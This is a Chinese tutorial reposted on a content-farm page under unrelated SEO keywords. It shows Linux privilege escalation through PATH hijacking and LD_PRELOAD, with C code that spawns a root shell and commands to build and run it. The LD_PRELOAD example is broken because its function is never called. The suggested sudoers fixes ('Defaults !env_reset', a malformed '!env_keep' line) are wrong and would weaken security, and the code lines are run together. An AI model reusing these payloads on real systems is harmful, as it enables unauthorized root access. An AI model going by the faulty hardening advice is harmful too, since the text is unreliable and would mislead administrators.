您的位置:首页 > 房产 > 建筑 > 沙河网络推广_房子网站有哪些_做电商需要学哪些基础_nba体育新闻

沙河网络推广_房子网站有哪些_做电商需要学哪些基础_nba体育新闻

2024/12/26 15:51:44 来源:https://blog.csdn.net/weixin_46483815/article/details/143574220  浏览:    关键词:沙河网络推广_房子网站有哪些_做电商需要学哪些基础_nba体育新闻
沙河网络推广_房子网站有哪些_做电商需要学哪些基础_nba体育新闻

案例:利用 PATH 环境变量进行提权

背景

假设在一个 Linux 系统中,用户 attacker 发现了一个具有 setuid 位的程序 sensitive_program,该程序具有 root 权限。sensitive_program 在运行时会执行一些命令。

攻击步骤
  1. 创建恶意程序
    攻击者创建一个恶意程序 malicious_program,该程序会在执行时获取 root 权限。

    // malicious_program.c
    #include <unistd.h>int main() {setuid(0);  // 获取 root 权限system("/bin/bash");  // 执行 shellreturn 0;
    }
    

    编译生成可执行文件:

    gcc -o malicious_program malicious_program.c
    
  2. 设置 PATH 环境变量
    攻击者将恶意程序的路径添加到 PATH 环境变量的最前面。

    export PATH=/path/to/malicious:$PATH
    
  3. 执行 setuid 程序
    攻击者执行 sensitive_program,由于 PATH 环境变量的设置,程序会优先执行 malicious_program,从而获得 root 权限。

    ./sensitive_program some_command
    
防范措施
  1. 限制 PATH 环境变量的修改权限
    /etc/sudoers 文件中配置,限制用户对 PATH 环境变量的修改权限。

    Defaults !env_reset
    Defaults !env_keep += "PATH"
    
  2. 使用安全工具
    使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。

  3. 定期审查和更新配置
    定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。

案例:利用 sudoers 文件中的环境变量配置进行提权

背景

假设在一个 Linux 系统中,/etc/sudoers 文件中配置了允许用户在 sudo 命令中保留 LD_PRELOAD 环境变量。

Defaults env_keep += "LD_PRELOAD"
攻击步骤
  1. 创建恶意共享库
    攻击者创建一个恶意共享库 malicious.so,其中包含一个函数 vuln_function,该函数会在程序运行时执行任意代码。

    // malicious.c
    #include <stdio.h>
    #include <unistd.h>void vuln_function() {system("/bin/bash");  // 执行 shell
    }
    

    编译生成共享库:

    gcc -shared -fPIC -o malicious.so malicious.c
    
  2. 设置 LD_PRELOAD 环境变量
    攻击者设置 LD_PRELOAD 环境变量,指向恶意共享库。

    export LD_PRELOAD=/path/to/malicious.so
    
  3. 执行 sudo 命令
    攻击者执行 sudo 命令,由于 LD_PRELOAD 环境变量被保留,恶意共享库会被加载,从而执行 vuln_function 函数,获得 root 权限。

    sudo sensitive_program
    
防范措施
  1. 谨慎配置 /etc/sudoers 文件
    /etc/sudoers 文件中谨慎配置 env_keep 选项,确保只保留必要的环境变量。

    Defaults env_keep += "PATH"
    
  2. 使用安全工具
    使用 SELinux 或 AppArmor 等安全工具限制程序的行为,防止恶意代码的执行。

  3. 定期审查和更新配置
    定期审查系统和应用程序的配置,确保没有不必要的环境变量设置。

通过这些防范措施,可以有效地减少利用环境变量进行提权的风险,提高系统的安全性。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com